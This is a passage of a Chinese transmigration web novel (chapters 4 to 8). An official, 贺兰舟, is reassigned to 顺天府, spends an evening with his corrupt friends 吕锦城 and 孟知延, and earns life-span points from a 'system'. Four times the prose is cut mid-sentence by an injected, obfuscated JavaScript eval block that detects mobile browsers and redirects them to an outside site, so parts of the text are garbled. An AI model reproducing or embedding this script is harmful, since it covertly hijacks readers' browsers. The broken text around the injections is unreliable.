薛掌院说:“榕檀你气度不凡,又写得一手好字,还博闻强记,熟读史书,由你去顺天府,最好不过,如此才不堕我翰林之名。” 贺兰舟愣住,“薛、薛掌院,你这是何意?” 薛掌院完全没有解释的意思,大力拍拍他的肩膀:“榕檀啊,你小子,指日可待啊!” 看贺兰舟还呆傻傻的,薛掌院凑近他,眉飞色舞,“待你在顺天府做出些政绩,再回翰林,只怕是要一飞冲天。” 说罢,薛掌院大袖外展,背过手去,声音洪亮地笑了三声,步伐轻快地离去。 下朝回家,贺兰舟第一次没了心情,没去巴巴等着顾庭芳出来,贴着人家走,只是还未出皇宫,有人叫住他。 他顿住步子,回身望过去,与顾庭芳身着一样的官服,气质却与太傅截然不同,一身绯色穿得并不沉稳,反倒阁外嚣张。 沈问:“恭喜啊,贺大人。” 贺兰舟心里一沉。 顺天府推官,是个六品官,与翰林编修这闲散官不同,推官有断案讼狱之责,虽官职不大,可在此朝堂之中,却也是个重要位置。 沈问这是要把他拉下水,将他纳入自己麾下! 贺兰舟呆呆想完,整个人冒着寒气,只有一条船上的人,才会知道秘辛而活着。 显然,给他这个位置,沈问是要利用他。 可他只是个小小的人物,沈问要用他做什么? 他又能做什么? 贺兰舟一脸懵,再仰起头,就见沈问唇角含笑,挟着一抹凉意,却故意贴着他的身侧,衣袖擦过他的衣袖而去。 身边的同僚见状,撅撅嘴,语气里有点儿羡慕:“你这样的小人物,都被宰辅大人看重了,倒是有几分运气。” 贺兰舟:“……” 是不是运气不知道,但他明显感觉,这事不对劲。 这位宰辅大人要做什么? 贺兰舟陷入沉思,系统本着为宿主服务的良好态度,先让贺兰舟答题签到。 然后安慰说:“既来之,则安之。宿主,你想啊,沈问主动拉拢你,这不是你拯救他这个大反派的好机缘!” 贺兰舟:“……”我谢谢你! 贺兰舟刚要回嘴,还没等喊出一个字,身后有人唤他:“兰舟。” 一般在朝中这么叫他的,只有他的好友孟知延。 与原主死党不同,贺兰舟以为,孟知延不是个反派,至少人家相貌堂堂,举止有礼有节,乃是礼部主事,年纪轻轻,十分可为。 说起二人相识,倒有其妹妹在其中的缘故,孟知延的老家在常州,他如今也算在京中安稳,便将父亲与胞妹孟惜枝接到了京城。 孟惜枝初到京城,便被人偷了钱袋,去店铺买衣裳,低头一看,腰间已无荷包,正巧那日贺兰舟路过,替她出了钱。 这姑娘也实在,说兄长稍后便来,非要他等在那成衣铺子,要还钱给他。 贺兰舟走不了,也刚刚下值,正好无事,等了一会儿,孟知延就来了。 贺兰舟一看,巧了,这人正是早朝上,站自己前两排的礼部小官。 那时,也正是贺兰舟刚穿越到大召,对朝中之事也知之甚少,遇见孟知延,他还觉得是个好机会。 哪想到孟知延得知始末,竟是戒备地看他,给了他钱,就叫他离孟惜枝远点,扭头还对孟惜枝说:“他这样好看的人对你好,多半心怀不轨。” 孟惜枝呆愣愣地看着他,又看了眼贺兰舟,有些无语,小声嘀咕了句:“可你也好看啊!” 孟知延竖着眼睛,孟惜枝就不敢再说了。 贺兰舟见状,有些好笑,但也正因此事,一来二回的,二人也成了好友。 比起原主那个死党,孟知延可正派多了。 孟知延:“你怎么了?早朝时就见你不对劲,神色困顿、眼下乌黑,难不成你昨日跟着吕锦城吃花酒去了?” 吕锦城,便是他那不靠谱的反派死党。 两人成了好友,贺兰舟下休时,自然也带孟知延见过吕锦城,还别说,虽然吕锦城这人品不大好,但交友广泛,见到孟知延,三两句就喝开了,二人亦成了无话不谈的好友。 不过,两人倒也没忘了贺兰舟,贺兰舟不能喝,本含笑望着他们吃酒,两人却突然一个搂住他脖颈,一个给他灌酒。 嬉嬉闹闹,倒也分外热闹。 贺兰舟摇摇头,哀叹:“今日要上早朝,哪能与他一同吃酒?” 孟知延点点头:“也是。” 又瞧他脸色发白,孟知延抱胸,纳闷问:“刚听那宰辅大人恭喜你,该不会顺天府尹那推官,落到了你头上吧?” 贺兰舟抿着唇,不语。 “咦?如此一来,闵王被砸一案,岂不是你也要参与探查了?”孟知延摸摸下巴,意味不明地看他。 贺兰舟:! 难道这就是沈问的目的? 他不相信,沈问在顺天府没有自己的人,那让他去做这个推官,是单纯想看他的投诚? 贺兰舟心里乱糟糟,想到系统的话,倒也没那么绝望了,至少,这是一个能亲近沈问的机会。 他叹一声,“算了,不提此事了。” 闵王被砸一案,并不好处理,贺兰舟成了这个推官,就像是被上面人推出来背锅的,孟知延也不想扫兴,点点头,没有再提。 “明日不上朝,也有两日未见吕兄,不若晚间一同前去国子监看望他?”孟知延问。 吕锦城在国子监挂职,乃是绳愆厅监丞,从八品,主管章奏文移、管理吏役等事。 他是从八品,倒是不需要同他们一样上朝,日日闲散得很。 贺兰舟要做任务,早就想去找吕锦城练手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340581|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好增加些寿命值了,此时闻言,连连颔首。 想着他昨日买的鱼肉蛋,贺兰舟对孟知延道:“我昨日买了些肉,今日我来下厨,可好?” 吕锦城的父亲乃是当朝户部尚书,只是吕锦城不上进,他老爹早年丧妻,又只他这一个儿子,甚是娇宠。 是以,吕锦城没荫个品级高的官,偏偏喜欢国子监绳愆厅监丞这职位,乐得悠闲。 况且,他本也出自国子监,国子监师生都知晓他的身份,自是无人敢惹,他要做什么便做什么,如此,他就在国子监自己的院子里,辟了个小厨房。 吕锦城是个十足的纨绔,在国子监里当值,却又雇了十数个奴仆,每日风风火火,着实招摇。 他口味又刁钻,并不吃国子监食堂的饭菜,只吃自家厨娘在小厨房做的吃食。 孟知延尝过贺兰舟的手艺,他是没问题,想到吕锦城的样子,噗嗤一笑。 “兰舟,若是如此,怕又让吕兄心疼了!” 想到吕锦城捧着他手的模样,贺兰舟:。。。 二人先各自上值,傍晚时分下值,约在翰林院见。 今日是贺兰舟最后一日在翰林院当值,早朝时同他说话的同僚一边艳羡他,又一边嘱咐他。 “顺天府不比我们翰林院,你做推官,又不比我们编修,哎,万事小心吧。”同僚算是把早朝未尽之话说得明明白白。 不过一整天,贺兰舟就成了翰林院的“边缘人”,好不容易挨到下值,薛掌院单独叫他,又说了几句,他含糊应了,说完抬脚就走人。 翰林院前,孟知延早等在外面,手中还提着两壶望仙楼的桃花酒。 孟知延并没问什么,也没提他去顺天府一事。 这糟心事,贺兰舟是半句都懒得说,是以二人先回到贺兰舟住处,拿上昨日采买的鱼肉蛋,就一路向国子监行。 路上,贺兰舟在脑中想着待会儿要做的吃食,做一道油炸酥肉,外酥里嫩,再一道辣子鸡,椒香干爽,最后再来个糖醋鲤鱼,香鲜味美。 贺兰舟心情好了,舔舔唇,也有些馋了。 他真是好久没吃过肉了。 原主野心勃勃,日日想着往上爬,为了能攀附权贵,那是十足地勒紧腰带。 他有这样的上进心,若不走偏路,故意陷害男主,怎会落得连正文都不配出现他的名字? 说来也巧,他们二人竟是同名同姓。 自然,原主也是姓“贺”。 “到了。” 孟知延声音在头顶响起,贺兰舟敛起神思,与他对视一眼,一同踏入国子监。 杂役一路引他们往里走,一边回头同他们道:“二位大人,吕大人正在校场,二位大人可要去绳愆厅等候?” 想了想,贺兰舟摆手,“我们去寻他吧。” 他们二人是吕锦城的好友,自然无人拦着,两人一路到了校场,校场之上,站着一排排的翩翩少年郎。 玉色襕衫,银冠束顶。 顺着望去,众人之前,有一少年玉青色的衣襟之上,竟有数道血痕,在其前一人,一袭紫粉道袍,头戴唐巾,手中执一根长鞭。 “就凭你,也配与我穿同纹样的衣裳?” “啪”一声,鞭子打在那少年胸前,衣襟上的云雷纹从中间错开,血迹洇出。 贺兰舟:豁! 他这死党,可真是个当之无愧的小垃圾啊! 5. 第 5 章 绳愆厅监丞是国子监最小的官员,但俗话说得好,小鬼难缠,更何况是吕锦城这样——老爹是当朝大官的官二代。 他在此处,说一不做二,自是无人敢惹。 国子监人人皆知,若吕锦城愿意,其父早就会给他安在户部,至少做个六品官。 且就算吕锦城愿意一直赖在国子监,吕振也不会放任儿子在监丞这个职位上,混吃等死。 说不得,日后他都做得国子监的一把手、二把手,亦或是哪天吕锦城开始上进了,吕振将他推举至户部,做个员外郎、侍郎,也不无可能。 是以,哪怕吕锦城说这样无稽之语,以惩治监生,也无人敢上前劝上一二。 那被打少年脸色发白,薄汗层层,脊背微弯,手死死抓着地上的沙子。 贺兰舟往吕锦城的脸上看去,与他往日散漫之态完全不同,眼中竟满是戾气,凝着那少年的眸色,滚着沉沉的暗幕。 贺兰舟紧了紧手中的东西,抿了下唇,琢磨着开口。 可还不等张嘴,就见吕锦城上一秒还拿着鞭子抽人,下一秒看见他,眼睛便是一亮,语气也缓了好几个调子。 “榕檀,你来了!” 完全被忽视的孟知延:“……” 吕锦城刚要迈步朝他们走去,低头瞥到手中的鞭子,拧了拧眉,旋即将鞭子递给身旁的仆人,接过另一个仆人递来的手帕,嫌弃地擦手。 待手上擦得干净,才摆摆手,命人道:“让他们都散了!” 不等仆人与杂役应话,吕锦城大跨步而来,至二人身前,问道:“你们怎么来了?” 孟知延指指贺兰舟手中提着的鱼肉蛋,又指了指自己手中的两壶酒,“自是寻你一同吃酒。” 吕锦城爽朗一笑,露出洁白整齐的牙齿,若没看到刚刚那一幕,倒真是一个人畜无害的好好少年。 瞥到贺兰舟手中用篮子提着的东西,吕锦城又瞬时瞪圆眼睛:“我的乖乖!榕檀,你不会还要给我们下厨吧?” 他满目疼惜地看向贺兰舟的手,不等贺兰舟回话,迅速从他手里夺过篮子,“这东西太沉,你的手都勒红了。” 他动作极快,贺兰舟躲闪不及,东西被他拿了去,提在手中。 “走!去我院子。” 吕锦城大喇喇地招呼两人,迈大步在前面开路。 每次与贺兰舟在一起,他都不喜欢有仆从在旁,如今多了一个孟知延,也未曾改变。 从校场到他的住处不算远,路上三人说着话,贺兰舟忍不住好奇:“那监生所犯何事?” 树上蝉鸣声不绝,三人轻缓的脚步,踏在青石路上,脚步声淹没在蝉鸣中。 吕锦城的声音高高扬起,打乱蝉鸣的节奏。 他随意道:“我今日着云雷纹紫袍,他那衣裳竟也是云雷纹,啧,你说他当不当打?” 贺兰舟闭唇不语。 按说,这国子监的监生都需统一着装,今日他观其他监生皆是玉色襕衫,上无一分杂色,更无纹路,那监生明知如此,怎会穿那一件云雷纹衣裳? 不过,若是如此,这监生未按规定着装,被打也是避无可避。 吕锦城身为监丞,对他稍加惩戒也并无不可。 可若不是听到吕锦城下一句,贺兰舟都要对他这个死党改观一二了。 “丑陋至极!竟也敢与我攀比?” 末了,吕锦城又看着贺兰舟,笑呵呵道:“若是如榕檀这般颜色,与我穿同款云雷纹衣裳,倒是要少打他几鞭了。” 贺兰舟:“……”早知道他是个颜控,没想到竟这么颜控! 贺兰舟知道,吕锦城这官二代横行霸道这么多年,一句两句是说不动他的,便也没为那少年说什么。 只是你来我往,才能维系关系。是以吕锦城这话音一落,贺兰舟便弯弯眼睛,笑说:“若真如此,榕檀可舍不得满洲动怒受累!” 吕锦城脚下差点儿一跌,惊疑不定地看他。 “你、你……” 贺兰舟耸耸肩,“谁让满洲如此英雄少年,模样煞是可爱。” 孟知延起了一身的鸡皮疙瘩,“你们有完没完?” 吕锦城正正头上的唐巾,见贺兰舟扬扬唇,模样有几分得意,拍着大腿哈哈大笑。 “榕檀啊榕檀,难得你也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340582|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开这般玩笑。”他笑指着贺兰舟。 有二位友人相伴,吕锦城的脾气倒散了不少,心情大好,一到住处,就将那些奴仆全赶了出去。 贺兰舟要下厨,他们两人便坐在小厨房外面的石凳上。 竹窗半开,落日余晖映洒,微风拂动小院中的老槐。 见贺兰舟将手泡在水中,吕锦城差点儿坐不住,托着下巴看他那双泛着莹白如玉的手,满眼的心疼。 孟知延无奈地揉揉眉心,“吕兄若实在心疼,听闻凝香阁有一价值百金的润肤膏,何不给兰舟寻来?” 吕锦城无语:“你这是得了便宜卖乖,何不你来下厨,兰舟歇着?” “哦?可兰舟做的饭菜,那才是齿颊留香,念念不忘,吕兄莫不是真想尝尝我的手艺?” 三人之前也相聚过两次,一次也是贺兰舟下厨,孟知延起初不大好意思,也做了一道菜,但一出锅,黑漆漆一片,被吕锦城指着大笑,说那是“素炒黑虫子”。 自是没人吃他那道菜。 想到那盘菜,吕锦城满眼嫌弃,转头又巴巴看着贺兰舟将肉切成一条条,再放到面粉里裹着,白皙修长的手指粘上面粉,别有一番美感。 “吕兄这般,才叫得了便宜卖乖。”吕锦城侧头不解看他,孟知延扬眉笑说:“你既垂涎美味佳肴,又垂涎……” 剩下的半句,他倒是不说了,贺兰舟纳闷看过来,“垂涎什么?” 吕锦城可没什么不敢说的,白了孟知延一眼,对贺兰舟道:“美人妙手,煎炒烹炸,色香味俱全,自然垂涎。” 贺兰舟:“……” 他这么直白,贺兰舟竟一时不知该说什么。 不过,吕锦城虽嘴上愿意胡言乱语,但对他还真没什么非分之想,完全是喜欢他这张脸。 之前他问过吕锦城,他堂堂尚书之子,而他不过是个七品小官,为何会与他交好。 那时,吕锦城盯着他的脸,问他:“你是不是对你这张脸,有什么误解?” 后来贺兰舟才明白,吕锦城能和原主交好,实在是因为他长得好看。 毕竟他这死党,是真颜控。 6. 第 6 章 穿书以来的这些时日,贺兰舟为了做任务,没少同吕锦城“厮混”。 但哪怕只是书中的小反派,想要在他们身上做任务,拿到生命值,都是不容易的。 贺兰舟每次都是铩羽而归,但也在吕锦城这儿,了解了不少关于原主的事,还有朝中各派的争锋。 他当初看书时,就有一个疑惑,那个开局就被刀了的七品小官,到底怎么得罪了男主。 关于此事,正是他从吕锦城这儿捋顺的。 因为这厮时常说他:“你除了一张脸,什么都不好,脏心烂肺的。” 贺兰舟:“……” 下一瞬,吕锦城又叹气:“哎,但谁让你长了这么张脸呢,看着就让人心情舒畅,真是讨人喜欢。” 贺兰舟:谢谢,你还是别喜欢了! 后来,吕锦城总是这样感叹,贺兰舟忍不住,拧眉怒目:“我到底怎么脏心烂肺了?” 吕锦城讶异地看着他,摆弄着他那花枝招展的衣襟大袖。 “不是吧?榕檀,你竟忘记当初是如何将那慕阑陷害出京之事了?” 有了吕锦城的补充,贺兰舟才明白,原来,当初男主与原主同为翰林院编修,姑且也称得上同僚和睦。 但奈何原主不是个好人啊! 他心里嫉妒男主的才华,在编撰史录时,男主不过好心提醒原主一个错误,原主便自卑地以为男主看不起他,从而怀恨在心。 正逢小皇帝刚登基一年,沈问一派与宦官解春玿一派争得水火不容。 沈问虽是文官,却绝对可称得上史上最嚣张的文官。 他的所有做派,都在昭告着世人,他虽无帝位,却有帝权。 彼时,为了更好地揽权,惩治那些不服他之人,开始了一年之久的文字狱,泛是有任何歧义的字眼,都会被其认为是陷害侮辱他之词。 那之后,大牢时常人满为患,而沈问以铁血之手腕,牢牢握住最盛的权利。 原主正是以此为契机,陷害男主写了沈问的坏话,不过因为那文字并不经得起推敲,男主仅是丢了官,被撵出京城。 而原主能做得那么神不知鬼不觉,其中自然少不得吕锦城的帮忙。 两人狐朋狗友、狼狈为奸,是真的坏得狗都嫌! 想起此事,贺兰舟脑中闪过一个念头,却如白光转瞬即逝。 他晃晃脑袋,将做好的油炸酥肉端到外面的石桌上。 酥肉的香嫩之气袭来,吕锦城眯着眼睛,感叹道:“不愧是榕檀,真香啊!” 一时不知是在说人,还是说菜,贺兰舟接着去做下一道菜,不过一会儿功夫,三菜一汤就做好了。 孟知延给三人倒了酒,吕锦城这人虽纨绔,却为人风雅,器具一应虽不是最贵,却也是最有品的。 他那酒杯是上好的甜白釉,触手温润如玉,颜色莹白,若白糖一捧,又似积雪深深。 三人一人一杯,把酒言欢,一人说这菜色绝佳,一人说今日风光正好,另一人则说贺兰舟颜色更好。 酒过三巡,也不知是谁提起闵王一事。 “兰舟,听闻你之前去探望过闵王?” 如今的朝廷,那就是透风的墙,哪里一有些风吹草动,另一处就知道了。 贺兰舟奉薛掌院之命探望闵王,他穿着官府,又去的玉带巷,自然就有住玉带巷的官宦人家撞见。 一言一语间,就有人认出他来了。 贺兰舟无语,能认出他,那怎么就没人撞见沈问逼问孙大年呢? 想了想,贺兰舟并未见当日所见说出来,毕竟那事涉及沈问,若真的招惹事端,平白连累二位好友。 再说,沈问就住在玉带巷,若是传出那事,只需说孙大年二人冒犯了他,也就不了了之了。 孟知延问完,吕锦城也朝贺兰舟望去,微微拧了下眉,“你还去看望那老东西了?” 他抿了下唇,“听我爹说,这老东西没几天活头,朝中这几座大佛,都想让他死,你去触这眉头作甚?” 贺兰舟欲哭无泪,“那是我想去吗?上司要求,哪敢不从?” 吕锦城就骂:“薛同这个老不死的。” 贺兰舟:“……” 孟知延转着手中酒杯,表情也不大好,“等到调令一下,兰舟就要去顺天府上值,到时牵扯进闵王一案,倒是难过了。” “什么?!”吕锦城瞪大眼睛,一脸不可置信:“你被调顺天府了?” 孟知延苦笑一声,将早朝之事尽数告知。 吕锦城听闻,表情木呆呆的,末了,拍拍贺兰舟肩膀。 “榕檀啊!你这是被沈问那厮盯上了。” 虽然他不知沈问怎么看上了贺兰舟,但早朝之上沈问出言,薛同又将他派去顺天府来看,这二人怕是早就有了这么个打算。 而薛同让贺兰舟探望闵王,说是要将闵王被砸一事记入实录当中,却是为了试探,看看这闵王府对此事的口风。 今日,沈问一开口,薛同就把贺兰舟卖给了顺天府,可不是早就盯上他了。 “顺天府尹是沈问的人,薛同也是沈问的人,这案子查到最后,只怕会是悬案,若是陛下非要问出个所以然……” 吕锦城同情地看一眼贺兰舟:“榕檀啊,你可就成了那个替死鬼。” 孟知延亦担忧地望向贺兰舟,又问吕锦城:“那此事就没个转圜余地了?” 吕锦城父亲是户部尚书,表面看不跟任何一个党派,但户部这个位置,各个都是肥缺,尚书这个位置,就更不必多说。 是以,吕锦城也没少跟他爹有样学样。 可吕振再疼这个儿子,也不会为了贺兰舟这个外人,去触沈问的霉头。 有沈问在,那天塌下来,还有沈问顶着,若得罪了沈问,日后被查出什么来,吕振自然逃不掉。 贺兰舟心里也明白,捏着酒杯,冲二人笑道:“二位兄弟不必为我担心,既来之,则安之。若当这顺天府推官,真要查闵王一案,就查便是。” 吕锦城咬一口酥肉,点头附和:“也是,你这么诡计多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340583|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端,肯定有办法!” 贺兰舟:“……”我谢谢你哦! “啧,也不知闵王那个老东西清没清醒。”吕锦城摸摸下巴,“不过,就算他清醒了,只怕最好的可能,也是再被砸一次。” 他手敲在腿上,漫不经心道:“还是别醒了吧。”多疼啊! 提起闵王,吕锦城话就多了些。 虽说之前闵王远在左都,但也是皇室子弟,他爹身为户部尚书,那能力还是有的,不说博古通今,那也是八面玲珑。 对于闵王这个人,吕锦城他爹案头就摆过关于其的小传,吕锦城偷看过,跟他们二人八卦。 “那老东西有八九个儿子,但其实最好男色!” 贺兰舟与孟知延对视一眼,纷纷流露出震惊之色。 “这好男色有什么大不了的,但那老东西还强抢民男,左都泛是好颜色的男子,都绕着他走。” 贺兰舟扬了扬眉,突然想,闵王接小皇帝的令,不会是想看京城的男子有多好看,顺便再收几个吧? 吕锦城巴巴地看着贺兰舟,满眼的欢喜,“也亏得老东西被砸了,昏迷不醒,要是看到榕檀这般姿色……” 贺兰舟瞪他:“别说了。” 他虽没见过闵王,但依他这死党的颜控程度,一口一个“老东西”,可见闵王不会多好看了。 更何况,闵王有十几个孩子,光儿子就生了九个,那岁数都能当他爷爷了! 贺兰舟小抿了口酒,想到自己摊上的事,一时上头,口不择言,“若要说颜色,那宰辅大人的颜色可是一等一的风流。” 他在心里碎碎念:若不是他,自己岂会落入这般局面? 真真是可恶啊! 孟知延一脸震惊又佩服地看他:“兰舟兄,我今日才知,你竟如此胆色,竟敢这般揶揄当朝宰辅。” 吕锦城倒是格外认真,“啧啧”道:“榕檀此言差矣。那沈问年纪大了,虽然皮囊也好,但哪有榕檀赏心悦目。” 贺兰舟:“……” 有能耐,你这话当着宰辅的面说吧,呵呵。 “不过,若说榕檀貌美,我朝太傅也不遑多让。”吕锦城给自己倒了杯酒,一口下肚,喜笑颜开。 贺兰舟、孟知延:“……” 孟知延摇了摇头,对吕锦城这喜美色的模样也是见怪不怪了。 只是,想到今日校场所见,孟知延还是忍不住道:“刚刚路上人多口杂,我也未细细询问满川,国子监对监生穿着有所规定,那监生真是穿了自己的衣裳?” 贺兰舟也朝吕锦城的脸上看去。 吕锦城脸色未变一分,哼笑道:“故意与我穿同纹样的衣裳是其一……” 顿了顿,他看着二人,压低语气,眸中也蕴着几分寒意,“其二,他竟向祭酒告发我收受贿赂,如此,我怎能不教训他一二?” 孟知延放下酒杯,眯了眯眼睛,“若是如此,满川可是对其教训少了!” 贺兰舟:? 嗯?他那好友刚、刚刚说了啥? 7. 第 7 章 吕锦城是被他爹捧着长大的,当然,这么多年,他也是学着他爹成长的。 是以,他爹贪污腐败,吕锦城也不遑多让。 只不过,吕振是大大方方地贪,他只能小模小样地在国子监卖监生名额,或是收监生钱财,以给他们试题答案。 哦,还有,绳愆厅监丞还保管祭器图书等,他偶尔会让人临摹伪造,然后倒卖出去。 总而言之,吕锦城很富有。 且他在国子监捞银钱,祭酒都不会管,更何况,以如今朝堂的德行,只怕祭酒也不少收受贿赂、搜刮银财。 那被打的监生还是少年心性,自不知这朝堂与这些官员的可怕之处。 只怕是撞见吕锦城做的坏事了,又年轻气盛,不服这样无师德之人,将事捅到了祭酒那儿去。 没成想,祭酒反手就把人卖了,吕锦城知晓此事,故意在早上这监生门口堵着,见他穿了常服,当即命人将其衣服扒了,扭送至校场,当着一众监生的面,故意惩治他。 吕锦城收了钱是真,但他不能当着那么多监生的面承认,再说,他爹是户部尚书,他多嚣张啊,以衣裳纹样做筏子,还真没人会觉得有什么。 等把人打得狠了,也威慑了一众监生,他的目的也就达到了。 那监生能进国子监,想来也是个心有灵秀之人,应是将事情想通了,就是不知,日后那监生会一路消沉,还是会心中有别样思量。 贺兰舟暗暗摇头,心骂这书的作者,不会写就别写,这朝堂都成烂番茄了,臭死了! 而且,现在对他的打击有些大,贺兰舟万万没想到,连孟知延都是这样的反派人设,三人将酒都喝光了,他也忘了自己要做任务的事。 酒毕,桌上的吃食亦没剩多少。 “时候不早,我们就先回去了。”孟知延扫了眼贺兰舟,见他面色酡红,拱手对吕锦城道。 贺兰舟亦点头附和。 吕锦城微微颔首,“我送你们。” 贺兰舟不胜酒力,那二人脸色都未曾变一分,他却脚下已歪歪扭扭。 临出吕锦城小院时,他脚下一滑,险些摔倒。 孟知延离他三步远,吕锦城则紧挨着他,见状,忙抬手将人扶住。 吕锦城笑话他,“榕檀这酒力可差得远哩,不过三杯,就已不知归途何处了。” 贺兰舟不服气:“我酒力虽差,却愿与风月共酌,二位好友乃风乃月,你们自然不醉。” 这话说得那二人心头一喜,孟知延摇头笑说:“怪道兰舟兄二甲及第,如此字句,真真暖人肺腑。” 贺兰舟扬扬眉,微哼一声,不置可否。 虽说刚刚相聚之时,忘了做任务,但今日这最后的时机,贺兰舟可不会放过。 哪怕吕锦城是个“小垃圾”,他也得硬着头皮,对着他好好做任务! 贺兰舟鼓鼓腮帮子,另一只手抬起,虚虚搭扶在吕锦城的脖颈处。 离远了看,竟是个环抱的姿势。 吕锦城身子一僵。 贺兰舟在他身前,小声嘀咕说:“满川,等你生辰那日,我再给你做长寿面,唔,里面加点鸡丝。” 吕锦城有次醉酒叨咕过鸡丝面,说忘了自己在哪里吃的,味道极好。 那时,系统还算敬业,调查出吕锦城吃过的鸡丝面,竟是他的母亲做的。 那碗鸡丝面,也成了吕锦城唯一对母亲的记忆。 吕锦城的确不记得那是母亲做的了,毕竟,他母亲早亡,连他母亲的样子,在他记忆里都模糊了。 只是,他当日不过随口一提,贺兰舟竟然记得,吕锦城目光微微下移,正落在贺兰舟泛红的耳朵上。 “榕檀……”他喉结上下滚动,说:“你醉了。” 贺兰舟听他这么说,不大高兴,眼儿上挑,“胡说!” 吕锦城笑笑。 见状,贺兰舟也不再反驳,长长叹一声,用环抱他脖子的手,轻轻拍拍他的肩。 他小声对吕锦城道:“还有啊,满川,你如今是监丞,虽是官,但那些监生日后又非无所作为,莫要对他们百般刁难。” 顿了顿,贺兰舟又道:“小小惩戒即可,但该给的甜枣也不能不给。” 【叮~系统1238恭喜您成功感动反派一次,吕锦城感动值+10,您的寿命增加十天,愿您再接再厉!】 贺兰舟:! 果然如此! 贺兰舟之前就在想,吕锦城看着对什么都很随意,哪怕他说喜欢贺兰舟的脸蛋,但对贺兰舟,亦或是他的其他好友,他都始终如隔着一座山、一汪泉。 直到那次,吕锦城酒后说想吃鸡丝面,贺兰舟才恍然,其实吕锦城这样的人,看似什么都不缺,可他却从小就没了母亲。 吕锦城从小到大,有吕振在上面顶着,没人不顺从,可他要的,并非别人的事事顺从。 他幼年丧母,是否也曾想过,若母亲还在,定不会让父亲这样对他溺爱娇惯。 吕锦城是见过寻常人家的相处的,也见过与自己一样身份地位的官宦子弟,可人家父母俱在,对孩子的教导,并非是像父亲对他一味放纵这般。 贺兰舟想,吕锦城想要的,是那份缺失了的爱,他虽做不到母亲那般的伟大,却也可以稍稍变通填补一下。 又涨了十天的寿命,贺兰舟心情十分舒畅,与孟知延分别后,一路哼着小曲回了住处。 月色掩映的一处茶棚里,有人听到那轻快的步子与哼曲声,半侧过头望过来。 “太傅大人,你说,被群狼环伺的弱犬,可知死期将近?” 顾庭芳收回视线,抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只不过,贺兰舟应该会怕,毕竟他目睹了孙大年之事,又被刻意安排入顺天府,哪能心里不怕? 可想到刚刚那一幕,顾庭芳摇头失笑,贺兰舟应不是弱犬,倒像是误入狼群的羊。 二人没再就贺兰舟的事多言,直到茶凉,二人都未喝上一口。 临别时,沈问叫住顾庭芳,“昨日陛下唤你入宫,可是为了西北马市?” 顾庭芳脚下微顿,半侧过头,笑睨着沈问,也回道:“陛下所唤之事……亦与沈大人无关。” 沈问一噎,冷哼一声,甩袖而去。 顾庭芳敛袖而立,望着他的背影,渐渐眯起双眸。 8. 第 8 章 小皇帝对闵王被砸一事,很是看重。 第二日一大早,调令便派了下来,贺兰舟接了调令,就去顺天府任职。 听闻,上一个推官的父亲去世,他便回老家丁忧了,如此位子空了下来,就由贺兰舟顶了上来。 他是顺天府新任推官,顺天府的官员见来了新人,都有些好奇。 贺兰舟早上一来,就有人慢吞吞在路上走着,一手拿书卷,一边偷斜着眼看他。 等他见了府尹,领了命出来,院子里的人来来往往的就更多了。 有人见了他,扬着笑脸,朝里面张望,“今日来了新人,府尹大人还望莫要吝啬啊!” 随即就有人附和:“正是正是,我们这位新推官,仪表堂堂、相貌不凡,一看就是个能干事的!” 也有人凑到贺兰舟跟前,问他:“听闻您是翰林院过来的,翰林院日日是不是枯燥得很?” 贺兰舟哭笑不得,他倒是没想到顺天府的这群同僚,竟一个个是话痨。 不过,他也是明白这群人的用意,以如今朝堂这德行,顺天府新来了人,自然是要请新官吃饭的。 当然,贺兰舟绝不会以为这是为了欢迎他,更不会觉得同僚欣赏他,他明白,那是为了捞朝廷的油水。 去望仙楼吃上那么一顿,明明只需花五十两,上报一百两,那五十两可就进了府尹他们的口袋。 而他手底下的人还要混日子,自然不敢声张,且还有的吃,哪能不欢喜? 是以,这群人闹完,府尹虽没说什么,但隔了不到一个时辰,府尹就过来,当着众人面说,待会儿午间时分,要为贺兰舟设宴,以迎新人。 顺天府的同僚十分捧场,纷纷应和。 贺兰舟是彻底被架上去了,半分反驳不得。 一到了晌午时分,贺兰舟便被同僚们簇拥着往望仙楼走。 这一行人穿着官服,浩浩荡荡,好不显眼。百姓时而侧头张望,时而低语交谈,似在猜测他们要上哪个酒楼。 